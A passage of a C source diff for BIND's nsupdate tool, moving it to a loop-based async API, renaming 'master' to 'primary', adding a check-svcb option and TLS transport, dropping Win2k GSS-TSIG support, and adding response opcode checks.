-	result = dns_message_gettemprdatalist(updatemsg, &rdatalist);
-	check_result(result, "dns_message_gettemprdatalist");
-	result = dns_message_gettemprdataset(updatemsg, &rdataset);
-	check_result(result, "dns_message_gettemprdataset");
+	dns_message_gettemprdatalist(updatemsg, &rdatalist);
+	dns_message_gettemprdataset(updatemsg, &rdataset);
 	rdatalist->type = rdatatype;
 	rdatalist->rdclass = rdataclass;
 	rdatalist->covers = rdatatype;
@@ -2045,6 +2085,32 @@ evaluate_checknames(char *cmdline) {
 	return (STATUS_MORE);
 }
 
+static uint16_t
+evaluate_checksvcb(char *cmdline) {
+	char *word;
+
+	ddebug("evaluate_checksvcb()");
+	word = nsu_strsep(&cmdline, " \t\r\n");
+	if (word == NULL || *word == 0) {
+		fprintf(stderr, "could not read check-svcb directive\n");
+		return (STATUS_SYNTAX);
+	}
+	if (strcasecmp(word, "yes") == 0 || strcasecmp(word, "true") == 0 ||
+	    strcasecmp(word, "on") == 0)
+	{
+		checksvcb = true;
+	} else if (strcasecmp(word, "no") == 0 ||
+		   strcasecmp(word, "false") == 0 ||
+		   strcasecmp(word, "off") == 0)
+	{
+		checksvcb = false;
+	} else {
+		fprintf(stderr, "incorrect check-svcb directive: %s\n", word);
+		return (STATUS_SYNTAX);
+	}
+	return (STATUS_MORE);
+}
+
 static void
 setzone(dns_name_t *zonename) {
 	isc_result_t result;
@@ -2066,11 +2132,9 @@ setzone(dns_name_t *zonename) {
 	}
 
 	if (zonename != NULL) {
-		result = dns_message_gettempname(updatemsg, &name);
-		check_result(result, "dns_message_gettempname");
+		dns_message_gettempname(updatemsg, &name);
 		dns_name_clone(zonename, name);
-		result = dns_message_gettemprdataset(updatemsg, &rdataset);
-		check_result(result, "dns_message_gettemprdataset");
+		dns_message_gettemprdataset(updatemsg, &rdataset);
 		dns_rdataset_makequestion(rdataset, getzoneclass(),
 					  dns_rdatatype_soa);
 		ISC_LIST_INIT(name->list);
@@ -2203,13 +2267,18 @@ do_next_command(char *cmdline) {
 		return (evaluate_realm(cmdline));
 	}
 	if (strcasecmp(word, "check-names") == 0 ||
-	    strcasecmp(word, "checknames") == 0) {
+	    strcasecmp(word, "checknames") == 0)
+	{
 		return (evaluate_checknames(cmdline));
 	}
+	if (strcasecmp(word, "check-svcb") == 0 ||
+	    strcasecmp(word, "checksvcb") == 0)
+	{
+		return (evaluate_checksvcb(cmdline));
+	}
 	if (strcasecmp(word, "gsstsig") == 0) {
 #if HAVE_GSSAPI
 		usegsstsig = true;
-		use_win2k_gsstsig = false;
 #else  /* HAVE_GSSAPI */
 		fprintf(stderr, "gsstsig not supported\n");
 #endif /* HAVE_GSSAPI */
@@ -2218,7 +2287,6 @@ do_next_command(char *cmdline) {
 	if (strcasecmp(word, "oldgsstsig") == 0) {
 #if HAVE_GSSAPI
 		usegsstsig = true;
-		use_win2k_gsstsig = true;
 #else  /* HAVE_GSSAPI */
 		fprintf(stderr, "gsstsig not supported\n");
 #endif /* HAVE_GSSAPI */
@@ -2228,7 +2296,7 @@ do_next_command(char *cmdline) {
 		fprintf(stdout, "nsupdate " PACKAGE_VERSION ":\n"
 				"local address [port]      (set local "
 				"resolver)\n"
-				"server address [port]     (set master server "
+				"server address [port]     (set primary server "
 				"for zone)\n"
 				"send                      (send the update "
 				"request)\n"
@@ -2237,15 +2305,13 @@ do_next_command(char *cmdline) {
 				"answer                    (show the answer to "
 				"the last request)\n"
 				"quit                      (quit, any pending "
-				"update is not sent\n"
+				"update is not sent)\n"
 				"help                      (display this "
-				"message_\n"
+				"message)\n"
 				"key [hmac:]keyname secret (use TSIG to sign "
 				"the request)\n"
 				"gsstsig                   (use GSS_TSIG to "
 				"sign the request)\n"
-				"oldgsstsig                (use Microsoft's "
-				"GSS_TSIG to sign the request)\n"
 				"zone name                 (set the zone to be "
 				"updated)\n"
 				"class CLASS               (set the zone's DNS "
@@ -2280,7 +2346,6 @@ get_next_command(void) {
 	char cmdlinebuf[MAXCMD];
 	char *cmdline = NULL, *ptr = NULL;
 
-	isc_app_block();
 	if (interactive) {
 		cmdline = ptr = readline("> ");
 		if (ptr != NULL && *ptr != 0) {
@@ -2289,7 +2354,6 @@ get_next_command(void) {
 	} else {
 		cmdline = fgets(cmdlinebuf, MAXCMD, input);
 	}
-	isc_app_unblock();
 
 	if (cmdline != NULL) {
 		char *tmp = cmdline;
@@ -2327,9 +2391,9 @@ user_interaction(void) {
 
 static void
 done_update(void) {
-	isc_event_t *event = global_event;
 	ddebug("done_update()");
-	isc_task_send(global_task, &event);
+
+	isc_async_current(loopmgr, getinput, NULL);
 }
 
 static void
@@ -2360,13 +2424,13 @@ check_tsig_error(dns_rdataset_t *rdataset, isc_buffer_t *b) {
 }
 
 static bool
-next_master(const char *caller, isc_sockaddr_t *addr, isc_result_t eresult) {
+next_primary(const char *caller, isc_sockaddr_t *addr, isc_result_t eresult) {
 	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
 	isc_sockaddr_format(addr, addrbuf, sizeof(addrbuf));
 	fprintf(stderr, "; Communication with %s failed: %s\n", addrbuf,
 		isc_result_totext(eresult));
-	if (++master_inuse >= master_total) {
+	if (++primary_inuse >= primary_total) {
 		return (false);
 	}
 	ddebug("%s: trying next server", caller);
@@ -2374,31 +2438,24 @@ next_master(const char *caller, isc_sockaddr_t *addr, isc_result_t eresult) {
 }
 
 static void
-update_completed(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = NULL;
+update_completed(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
 	isc_result_t result;
-	dns_request_t *request;
-
-	UNUSED(task);
 
 	ddebug("update_completed()");
 
 	requests--;
 
-	REQUIRE(event->ev_type == DNS_EVENT_REQUESTDONE);
-	reqev = (dns_requestevent_t *)event;
-	request = reqev->request;
-
 	if (shuttingdown) {
 		dns_request_destroy(&request);
-		isc_event_free(&event);
 		maybeshutdown();
 		return;
 	}
 
-	if (reqev->result != ISC_R_SUCCESS) {
-		if (!next_master("update_completed",
-				 &master_servers[master_inuse], reqev->result))
+	result = dns_request_getresult(request);
+	if (result != ISC_R_SUCCESS) {
+		if (!next_primary("update_completed",
+				  &primary_servers[primary_inuse], result))
 		{
 			seenerror = true;
 			goto done;
@@ -2408,8 +2465,7 @@ update_completed(isc_task_t *task, isc_event_t *event) {
 		dns_request_destroy(&request);
 		dns_message_renderreset(updatemsg);
 		dns_message_settsigkey(updatemsg, NULL);
-		send_update(zname, &master_servers[master_inuse]);
-		isc_event_free(&event);
+		send_update(zname, &primary_servers[primary_inuse]);
 		return;
 	}
 
@@ -2445,6 +2501,10 @@ update_completed(isc_task_t *task, isc_event_t *event) {
 		check_result(result, "dns_request_getresponse");
 	}
 
+	if (answer->opcode != dns_opcode_update) {
+		fatal("invalid OPCODE in response to UPDATE request");
+	}
+
 	if (answer->rcode != dns_rcode_noerror) {
 		seenerror = true;
 		if (!debugging) {
@@ -2472,20 +2532,21 @@ update_completed(isc_task_t *task, isc_event_t *event) {
 	dns_request_destroy(&request);
 	if (usegsstsig) {
 		dns_name_free(&tmpzonename, gmctx);
-		dns_name_free(&restart_master, gmctx);
+		dns_name_free(&restart_primary, gmctx);
 		dns_name_init(&tmpzonename, 0);
-		dns_name_init(&restart_master, 0);
+		dns_name_init(&restart_primary, 0);
 	}
-	isc_event_free(&event);
 	done_update();
 }
 
 static void
-send_update(dns_name_t *zone, isc_sockaddr_t *master) {
+send_update(dns_name_t *zone, isc_sockaddr_t *primary) {
 	isc_result_t result;
 	dns_request_t *request = NULL;
-	unsigned int options = DNS_REQUESTOPT_CASE;
 	isc_sockaddr_t *srcaddr;
+	unsigned int options = DNS_REQUESTOPT_CASE | DNS_REQUESTOPT_LARGE;
+	dns_transport_t *req_transport = NULL;
+	isc_tlsctx_cache_t *req_tls_ctx_cache = NULL;
 
 	ddebug("send_update()");
 
@@ -2493,7 +2554,12 @@ send_update(dns_name_t *zone, isc_sockaddr_t *master) {
 
 	if (usevc) {
 		options |= DNS_REQUESTOPT_TCP;
+		if (use_tls) {
+			req_transport = transport;
+			req_tls_ctx_cache = tls_ctx_cache;
+		}
 	}
+
 	if (tsigkey == NULL && sig0key != NULL) {
 		result = dns_message_setsig0key(updatemsg, sig0key);
 		check_result(result, "dns_message_setsig0key");
@@ -2501,11 +2567,11 @@ send_update(dns_name_t *zone, isc_sockaddr_t *master) {
 	if (debugging) {
 		char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
-		isc_sockaddr_format(master, addrbuf, sizeof(addrbuf));
+		isc_sockaddr_format(primary, addrbuf, sizeof(addrbuf));
 		fprintf(stderr, "Sending update to %s\n", addrbuf);
 	}
 
-	if (isc_sockaddr_pf(master) == AF_INET6) {
+	if (isc_sockaddr_pf(primary) == AF_INET6) {
 		srcaddr = localaddr6;
 	} else {
 		srcaddr = localaddr4;
@@ -2513,14 +2579,15 @@ send_update(dns_name_t *zone, isc_sockaddr_t *master) {
 
 	/* Windows doesn't like the tsig name to be compressed. */
 	if (updatemsg->tsigname) {
-		updatemsg->tsigname->attributes |= DNS_NAMEATTR_NOCOMPRESS;
+		updatemsg->tsigname->attributes.nocompress = true;
 	}
 
-	result = dns_request_createvia(requestmgr, updatemsg, srcaddr, master,
-				       -1, options, tsigkey, timeout,
-				       udp_timeout, udp_retries, global_task,
-				       update_completed, NULL, &request);
-	check_result(result, "dns_request_createvia");
+	result = dns_request_create(requestmgr, updatemsg, srcaddr, primary,
+				    req_transport, req_tls_ctx_cache, options,
+				    tsigkey, timeout, udp_timeout, udp_retries,
+				    isc_loop_main(loopmgr), update_completed,
+				    NULL, &request);
+	check_result(result, "dns_request_create");
 
 	if (debugging) {
 		show_message(stdout, updatemsg, "Outgoing update query:");
@@ -2544,10 +2611,11 @@ next_server(const char *caller, isc_sockaddr_t *addr, isc_result_t eresult) {
 }
 
 static void
-recvsoa(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = NULL;
-	dns_request_t *request = NULL;
-	isc_result_t result, eresult;
+recvsoa(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	isc_result_t result, eresult = dns_request_getresult(request);
+	nsu_requestinfo_t *reqinfo = dns_request_getarg(request);
+	dns_message_t *soaquery = reqinfo->msg;
 	dns_message_t *rcvmsg = NULL;
 	dns_section_t section;
 	dns_name_t *name = NULL;
@@ -2555,34 +2623,21 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 	dns_rdata_soa_t soa;
 	dns_rdata_t soarr = DNS_RDATA_INIT;
 	int pass = 0;
-	dns_name_t master;
-	nsu_requestinfo_t *reqinfo;
-	dns_message_t *soaquery = NULL;
-	isc_sockaddr_t *addr;
-	isc_sockaddr_t *srcaddr;
+	dns_name_t primary;
+	isc_sockaddr_t *addr = reqinfo->addr;
+	isc_sockaddr_t *srcaddr = NULL;
 	bool seencname = false;
 	dns_name_t tname;
 	unsigned int nlabels;
 
-	UNUSED(task);
-
 	ddebug("recvsoa()");
 
 	requests--;
 
-	REQUIRE(event->ev_type == DNS_EVENT_REQUESTDONE);
-	reqev = (dns_requestevent_t *)event;
-	request = reqev->request;
-	eresult = reqev->result;
-	reqinfo = reqev->ev_arg;
-	soaquery = reqinfo->msg;
-	addr = reqinfo->addr;
-
 	if (shuttingdown) {
 		dns_request_destroy(&request);
 		dns_message_detach(&soaquery);
 		isc_mem_put(gmctx, reqinfo, sizeof(nsu_requestinfo_t));
-		isc_event_free(&event);
 		maybeshutdown();
 		return;
 	}
@@ -2595,21 +2650,22 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 		dns_message_settsigkey(soaquery, NULL);
 		sendrequest(&servers[ns_inuse], soaquery, &request);
 		isc_mem_put(gmctx, reqinfo, sizeof(nsu_requestinfo_t));
-		isc_event_free(&event);
 		setzoneclass(dns_rdataclass_none);
 		return;
 	}
 
 	isc_mem_put(gmctx, reqinfo, sizeof(nsu_requestinfo_t));
 	reqinfo = NULL;
-	isc_event_free(&event);
-	reqev = NULL;
 
 	ddebug("About to create rcvmsg");
 	dns_message_create(gmctx, DNS_MESSAGE_INTENTPARSE, &rcvmsg);
 	result = dns_request_getresponse(request, rcvmsg,
 					 DNS_MESSAGEPARSE_PRESERVEORDER);
 	if (result == DNS_R_TSIGERRORSET && servers != NULL) {
+		unsigned int options = DNS_REQUESTOPT_CASE;
+		dns_transport_t *req_transport = NULL;
+		isc_tlsctx_cache_t *req_tls_ctx_cache = NULL;
+
 		dns_message_detach(&rcvmsg);
 		ddebug("Destroying request [%p]", request);
 		dns_request_destroy(&request);
@@ -2619,29 +2675,54 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 		dns_message_renderreset(soaquery);
 		ddebug("retrying soa request without TSIG");
 
+		if (!default_servers && usevc) {
+			options |= DNS_REQUESTOPT_TCP;
+			if (use_tls) {
+				req_transport = transport;
+				req_tls_ctx_cache = tls_ctx_cache;
+			}
+		}
+
 		if (isc_sockaddr_pf(addr) == AF_INET6) {
 			srcaddr = localaddr6;
 		} else {
 			srcaddr = localaddr4;
 		}
 
-		result = dns_request_createvia(
-			requestmgr, soaquery, srcaddr, addr, -1, 0, NULL,
-			FIND_TIMEOUT * 20, FIND_TIMEOUT, 3, global_task,
-			recvsoa, reqinfo, &request);
-		check_result(result, "dns_request_createvia");
+		result = dns_request_create(requestmgr, soaquery, srcaddr, addr,
+					    req_transport, req_tls_ctx_cache,
+					    options, NULL, timeout, udp_timeout,
+					    udp_retries, isc_loop_main(loopmgr),
+					    recvsoa, reqinfo, &request);
+		check_result(result, "dns_request_create");
 		requests++;
 		return;
 	}
 	check_result(result, "dns_request_getresponse");
+
+	if (rcvmsg->rcode == dns_rcode_refused) {
+		next_server("recvsoa", addr, DNS_R_REFUSED);
+		dns_message_detach(&rcvmsg);
+		dns_request_destroy(&request);
+		dns_message_renderreset(soaquery);
+		dns_message_settsigkey(soaquery, NULL);
+		sendrequest(&servers[ns_inuse], soaquery, &request);
+		return;
+	}
+
 	section = DNS_SECTION_ANSWER;
 	POST(section);
 	if (debugging) {
 		show_message(stderr, rcvmsg, "Reply from SOA query:");
 	}
 
+	if (rcvmsg->opcode != dns_opcode_query) {
+		fatal("invalid OPCODE in response to SOA query");
+	}
+
 	if (rcvmsg->rcode != dns_rcode_noerror &&
-	    rcvmsg->rcode != dns_rcode_nxdomain) {
+	    rcvmsg->rcode != dns_rcode_nxdomain)
+	{
 		fatal("response to SOA query was unsuccessful");
 	}
 
@@ -2653,8 +2734,8 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 		dns_request_destroy(&request);
 		dns_message_detach(&soaquery);
 		ddebug("Out of recvsoa");
-		done_update();
 		seenerror = true;
+		done_update();
 		return;
 	}
 
@@ -2719,8 +2800,8 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 	result = dns_rdata_tostruct(&soarr, &soa, NULL);
 	check_result(result, "dns_rdata_tostruct");
 
-	dns_name_init(&master, NULL);
-	dns_name_clone(&soa.origin, &master);
+	dns_name_init(&primary, NULL);
+	dns_name_clone(&soa.origin, &primary);
 
 	if (userzone != NULL) {
 		zname = userzone;
@@ -2735,37 +2816,41 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 
 	if (debugging) {
 		char namestr[DNS_NAME_FORMATSIZE];
-		dns_name_format(&master, namestr, sizeof(namestr));
-		fprintf(stderr, "The master is: %s\n", namestr);
+		dns_name_format(&primary, namestr, sizeof(namestr));
+		fprintf(stderr, "The primary is: %s\n", namestr);
 	}
 
 	if (default_servers) {
 		char serverstr[DNS_NAME_MAXTEXT + 1];
 		isc_buffer_t buf;
-		size_t size;
 
 		isc_buffer_init(&buf, serverstr, sizeof(serverstr));
-		result = dns_name_totext(&master, true, &buf);
+		result = dns_name_totext(&primary, DNS_NAME_OMITFINALDOT, &buf);
 		check_result(result, "dns_name_totext");
 		serverstr[isc_buffer_usedlength(&buf)] = 0;
 
-		if (master_servers != NULL && master_servers != servers) {
-			isc_mem_put(gmctx, master_servers,
-				    master_alloc * sizeof(isc_sockaddr_t));
+		if (primary_servers != NULL && primary_servers != servers) {
+			isc_mem_cput(gmctx, primary_servers, primary_alloc,
+				     sizeof(isc_sockaddr_t));
 		}
-		master_alloc = MAX_SERVERADDRS;
-		size = master_alloc * sizeof(isc_sockaddr_t);
-		master_servers = isc_mem_get(gmctx, size);
-
-		memset(master_servers, 0, size);
-		master_total = get_addresses(serverstr, dnsport, master_servers,
-					     master_alloc);
-		if (master_total == 0) {
-			exit(1);
+		primary_alloc = MAX_SERVERADDRS;
+		primary_servers = isc_mem_cget(gmctx, primary_alloc,
+					       sizeof(isc_sockaddr_t));
+		primary_total = get_addresses(serverstr, dnsport,
+					      primary_servers, primary_alloc);
+		if (primary_total == 0) {
+			seenerror = true;
+			dns_rdata_freestruct(&soa);
+			dns_message_detach(&soaquery);
+			dns_request_destroy(&request);
+			dns_message_detach(&rcvmsg);
+			ddebug("Out of recvsoa");
+			done_update();
+			return;
 		}
-		master_inuse = 0;
+		primary_inuse = 0;
 	} else {
-		master_from_servers();
+		primary_from_servers();
 	}
 	dns_rdata_freestruct(&soa);
 
@@ -2773,15 +2858,15 @@ recvsoa(isc_task_t *task, isc_event_t *event) {
 	if (usegsstsig) {
 		dns_name_init(&tmpzonename, NULL);
 		dns_name_dup(zname, gmctx, &tmpzonename);
-		dns_name_init(&restart_master, NULL);
-		dns_name_dup(&master, gmctx, &restart_master);
-		start_gssrequest(&master);
+		dns_name_init(&restart_primary, NULL);
+		dns_name_dup(&primary, gmctx, &restart_primary);
+		start_gssrequest(&primary);
 	} else {
-		send_update(zname, &master_servers[master_inuse]);
+		send_update(zname, &primary_servers[primary_inuse]);
 		setzoneclass(dns_rdataclass_none);
 	}
 #else  /* HAVE_GSSAPI */
-	send_update(zname, &master_servers[master_inuse]);
+	send_update(zname, &primary_servers[primary_inuse]);
 	setzoneclass(dns_rdataclass_none);
 #endif /* HAVE_GSSAPI */
 
@@ -2818,6 +2903,17 @@ sendrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 	isc_result_t result;
 	nsu_requestinfo_t *reqinfo;
 	isc_sockaddr_t *srcaddr;
+	unsigned int options = DNS_REQUESTOPT_CASE;
+	dns_transport_t *req_transport = NULL;
+	isc_tlsctx_cache_t *req_tls_ctx_cache = NULL;
+
+	if (!default_servers && usevc) {
+		options |= DNS_REQUESTOPT_TCP;
+		if (use_tls) {
+			req_transport = transport;
+			req_tls_ctx_cache = tls_ctx_cache;
+		}
+	}
 
 	reqinfo = isc_mem_get(gmctx, sizeof(nsu_requestinfo_t));
 	reqinfo->msg = msg;
@@ -2829,11 +2925,12 @@ sendrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 		srcaddr = localaddr4;
 	}
 
-	result = dns_request_createvia(requestmgr, msg, srcaddr, destaddr, -1,
-				       0, default_servers ? NULL : tsigkey,
-				       FIND_TIMEOUT * 20, FIND_TIMEOUT, 3,
-				       global_task, recvsoa, reqinfo, request);
-	check_result(result, "dns_request_createvia");
+	result = dns_request_create(
+		requestmgr, msg, srcaddr, destaddr, req_transport,
+		req_tls_ctx_cache, options, default_servers ? NULL : tsigkey,
+		timeout, udp_timeout, udp_retries, isc_loop_main(loopmgr),
+		recvsoa, reqinfo, request);
+	check_result(result, "dns_request_create");
 	requests++;
 }
 
@@ -2896,15 +2993,15 @@ failed_gssrequest(void) {
 	seenerror = true;
 
 	dns_name_free(&tmpzonename, gmctx);
-	dns_name_free(&restart_master, gmctx);
+	dns_name_free(&restart_primary, gmctx);
 	dns_name_init(&tmpzonename, NULL);
-	dns_name_init(&restart_master, NULL);
+	dns_name_init(&restart_primary, NULL);
 
 	done_update();
 }
 
 static void
-start_gssrequest(dns_name_t *master) {
+start_gssrequest(dns_name_t *primary) {
 	dns_gss_ctx_id_t context;
 	isc_buffer_t buf;
 	isc_result_t result;
@@ -2923,20 +3020,16 @@ start_gssrequest(dns_name_t *master) {
 	if (gssring != NULL) {
 		dns_tsigkeyring_detach(&gssring);
 	}
-	gssring = NULL;
-	result = dns_tsigkeyring_create(gmctx, &gssring);
 
-	if (result != ISC_R_SUCCESS) {
-		fatal("dns_tsigkeyring_create failed: %s",
-		      isc_result_totext(result));
-	}
+	dns_tsigkeyring_create(gmctx, &gssring);
 
-	dns_name_format(master, namestr, sizeof(namestr));
+	dns_name_format(primary, namestr, sizeof(namestr));
 	if (kserver == NULL) {
 		kserver = isc_mem_get(gmctx, sizeof(isc_sockaddr_t));
 	}
 
-	memmove(kserver, &master_servers[master_inuse], sizeof(isc_sockaddr_t));
+	memmove(kserver, &primary_servers[primary_inuse],
+		sizeof(isc_sockaddr_t));
 
 	servname = dns_fixedname_initname(&fname);
 
@@ -2973,16 +3066,15 @@ start_gssrequest(dns_name_t *master) {
 	}
 
 	/* Windows doesn't recognize name compression in the key name. */
-	keyname->attributes |= DNS_NAMEATTR_NOCOMPRESS;
+	keyname->attributes.nocompress = true;
 
 	rmsg = NULL;
 	dns_message_create(gmctx, DNS_MESSAGE_INTENTRENDER, &rmsg);
 
 	/* Build first request. */
 	context = GSS_C_NO_CONTEXT;
-	result = dns_tkey_buildgssquery(rmsg, keyname, servname, NULL, 0,
-					&context, use_win2k_gsstsig, gmctx,
-					&err_message);
+	result = dns_tkey_buildgssquery(rmsg, keyname, servname, 0, &context,
+					gmctx, &err_message);
 	if (result == ISC_R_FAILURE) {
 		fprintf(stderr, "tkey query failed: %s\n",
 			err_message != NULL ? err_message : "unknown error");
@@ -3010,19 +3102,26 @@ static void
 send_gssrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 		dns_request_t **request, gss_ctx_id_t context) {
 	isc_result_t result;
-	nsu_gssinfo_t *reqinfo;
-	unsigned int options = 0;
-	isc_sockaddr_t *srcaddr;
+	nsu_gssinfo_t *reqinfo = NULL;
+	isc_sockaddr_t *srcaddr = NULL;
+	unsigned int options = DNS_REQUESTOPT_CASE | DNS_REQUESTOPT_TCP;
+	dns_transport_t *req_transport = NULL;
+	isc_tlsctx_cache_t *req_tls_ctx_cache = NULL;
+
+	if (!default_servers && use_tls) {
+		req_transport = transport;
+		req_tls_ctx_cache = tls_ctx_cache;
+	}
 
 	debug("send_gssrequest");
 	REQUIRE(destaddr != NULL);
 
 	reqinfo = isc_mem_get(gmctx, sizeof(nsu_gssinfo_t));
-	reqinfo->msg = msg;
-	reqinfo->addr = destaddr;
-	reqinfo->context = context;
-
-	options |= DNS_REQUESTOPT_TCP;
+	*reqinfo = (nsu_gssinfo_t){
+		.msg = msg,
+		.addr = destaddr,
+		.context = context,
+	};
 
 	if (isc_sockaddr_pf(destaddr) == AF_INET6) {
 		srcaddr = localaddr6;
@@ -3030,11 +3129,11 @@ send_gssrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 		srcaddr = localaddr4;
 	}
 
-	result = dns_request_createvia(requestmgr, msg, srcaddr, destaddr, -1,
-				       options, tsigkey, FIND_TIMEOUT * 20,
-				       FIND_TIMEOUT, 3, global_task, recvgss,
-				       reqinfo, request);
-	check_result(result, "dns_request_createvia");
+	result = dns_request_create(
+		requestmgr, msg, srcaddr, destaddr, req_transport,
+		req_tls_ctx_cache, options, tsigkey, timeout, udp_timeout,
+		udp_retries, isc_loop_main(loopmgr), recvgss, reqinfo, request);
+	check_result(result, "dns_request_create");
 	if (debugging) {
 		show_message(stdout, msg, "Outgoing update query:");
 	}
@@ -3042,40 +3141,27 @@ send_gssrequest(isc_sockaddr_t *destaddr, dns_message_t *msg,
 }
 
 static void
-recvgss(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = NULL;
-	dns_request_t *request = NULL;
-	isc_result_t result, eresult;
+recvgss(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	nsu_gssinfo_t *reqinfo = dns_request_getarg(request);
+	isc_result_t result, eresult = dns_request_getresult(request);
 	dns_message_t *rcvmsg = NULL;
-	nsu_gssinfo_t *reqinfo;
-	dns_message_t *tsigquery = NULL;
-	isc_sockaddr_t *addr;
-	dns_gss_ctx_id_t context;
+	dns_message_t *tsigquery = reqinfo->msg;
+	dns_gss_ctx_id_t context = reqinfo->context;
+	isc_sockaddr_t *addr = reqinfo->addr;
 	isc_buffer_t buf;
-	dns_name_t *servname;
+	dns_name_t *servname = NULL;
 	dns_fixedname_t fname;
 	char *err_message = NULL;
 
-	UNUSED(task);
-
 	ddebug("recvgss()");
 
 	requests--;
 
-	REQUIRE(event->ev_type == DNS_EVENT_REQUESTDONE);
-	reqev = (dns_requestevent_t *)event;
-	request = reqev->request;
-	eresult = reqev->result;
-	reqinfo = reqev->ev_arg;
-	tsigquery = reqinfo->msg;
-	context = reqinfo->context;
-	addr = reqinfo->addr;
-
 	if (shuttingdown) {
 		dns_request_destroy(&request);
 		dns_message_detach(&tsigquery);
 		isc_mem_put(gmctx, reqinfo, sizeof(nsu_gssinfo_t));
-		isc_event_free(&event);
 		maybeshutdown();
 		return;
 	}
@@ -3083,24 +3169,20 @@ recvgss(isc_task_t *task, isc_event_t *event) {
 	if (eresult != ISC_R_SUCCESS) {
 		ddebug("Destroying request [%p]", request);
 		dns_request_destroy(&request);
-		if (!next_master("recvgss", addr, eresult)) {
+		if (!next_primary("recvgss", addr, eresult)) {
 			dns_message_detach(&tsigquery);
 			failed_gssrequest();
 		} else {
 			dns_message_renderreset(tsigquery);
-			memmove(kserver, &master_servers[master_inuse],
+			memmove(kserver, &primary_servers[primary_inuse],
 				sizeof(isc_sockaddr_t));
 			send_gssrequest(kserver, tsigquery, &request, context);
 		}
 		isc_mem_put(gmctx, reqinfo, sizeof(nsu_gssinfo_t));
-		isc_event_free(&event);
 		return;
 	}
 	isc_mem_put(gmctx, reqinfo, sizeof(nsu_gssinfo_t));
 
-	isc_event_free(&event);
-	reqev = NULL;
-
 	ddebug("recvgss creating rcvmsg");
 	dns_message_create(gmctx, DNS_MESSAGE_INTENTPARSE, &rcvmsg);
 
@@ -3113,22 +3195,23 @@ recvgss(isc_task_t *task, isc_event_t *event) {
 			     "recvmsg reply from GSS-TSIG query");
 	}
 
-	if (rcvmsg->rcode == dns_rcode_formerr && !tried_other_gsstsig) {
-		ddebug("recvgss trying %s GSS-TSIG",
-		       use_win2k_gsstsig ? "Standard" : "Win2k");
-		if (use_win2k_gsstsig) {
-			use_win2k_gsstsig = false;
-		} else {
-			use_win2k_gsstsig = true;
-		}
-		tried_other_gsstsig = true;
-		start_gssrequest(&restart_master);
-		goto done;
+	if (rcvmsg->opcode != dns_opcode_query) {
+		fatal("invalid OPCODE in response to GSS-TSIG query");
 	}
 
 	if (rcvmsg->rcode != dns_rcode_noerror &&
-	    rcvmsg->rcode != dns_rcode_nxdomain) {
-		fatal("response to GSS-TSIG query was unsuccessful");
+	    rcvmsg->rcode != dns_rcode_nxdomain)
+	{
+		char rcode[64];
+		isc_buffer_t b;
+
+		isc_buffer_init(&b, rcode, sizeof(rcode) - 1);
+		result = dns_rcode_totext(rcvmsg->rcode, &b);
+		check_result(result, "dns_rcode_totext");
+		rcode[isc_buffer_usedlength(&b)] = 0;
+
+		fatal("response to GSS-TSIG query was unsuccessful (%s)",
+		      rcode);
 	}
 
 	servname = dns_fixedname_initname(&fname);
@@ -3137,10 +3220,8 @@ recvgss(isc_task_t *task, isc_event_t *event) {
 	result = dns_name_fromtext(servname, &buf, dns_rootname, 0, NULL);
 	check_result(result, "dns_name_fromtext");
 
-	tsigkey = NULL;
 	result = dns_tkey_gssnegotiate(tsigquery, rcvmsg, servname, &context,
-				       &tsigkey, gssring, use_win2k_gsstsig,
-				       &err_message);
+				       &tsigkey, gssring, &err_message);
 	switch (result) {
 	case DNS_R_CONTINUE:
 		dns_message_detach(&rcvmsg);
@@ -3166,20 +3247,8 @@ recvgss(isc_task_t *task, isc_event_t *event) {
 		 * the TSIG -- this too is a spec violation, but it's
 		 * the least insane thing to do.
 		 */
-#if 0
-		/*
-		 * Verify the signature.
-		 */
-		rcvmsg->state = DNS_SECTION_ANY;
-		dns_message_setquerytsig(rcvmsg, NULL);
-		result = dns_message_settsigkey(rcvmsg, tsigkey);
-		check_result(result, "dns_message_settsigkey");
-		result = dns_message_checksig(rcvmsg, NULL);
-		ddebug("tsig verification: %s", dns_result_totext(result));
-		check_result(result, "dns_message_checksig");
-#endif /* 0 */
-
-		send_update(&tmpzonename, &master_servers[master_inuse]);
+
+		send_update(&tmpzonename, &primary_servers[primary_inuse]);
 		setzoneclass(dns_rdataclass_none);
 		break;
 
@@ -3188,7 +3257,6 @@ recvgss(isc_task_t *task, isc_event_t *event) {
 		      err_message != NULL ? err_message : "");
 	}
 
-done:
 	dns_request_destroy(&request);
 	dns_message_detach(&tsigquery);
 
@@ -3218,11 +3286,11 @@ start_update(void) {
 	/*
 	 * If we have both the zone and the servers we have enough information
 	 * to send the update straight away otherwise we need to discover
-	 * the zone and / or the master server.
+	 * the zone and / or the primary server.
 	 */
 	if (userzone != NULL && !default_servers && !usegsstsig) {
-		master_from_servers();
-		send_update(userzone, &master_servers[master_inuse]);
+		primary_from_servers();
+		send_update(userzone, &primary_servers[primary_inuse]);
 		setzoneclass(dns_rdataclass_none);
 		return;
 	}
@@ -3233,11 +3301,9 @@ start_update(void) {
 		soaquery->flags |= DNS_MESSAGEFLAG_RD;
 	}
 
-	result = dns_message_gettempname(soaquery, &name);
-	check_result(result, "dns_message_gettempname");
+	dns_message_gettempname(soaquery, &name);
 
-	result = dns_message_gettemprdataset(soaquery, &rdataset);
-	check_result(result, "dns_message_gettemprdataset");
+	dns_message_gettemprdataset(soaquery, &rdataset);
 
 	dns_rdataset_makequestion(rdataset, getzoneclass(), dns_rdatatype_soa);
 
@@ -3289,6 +3355,14 @@ static void
 cleanup(void) {
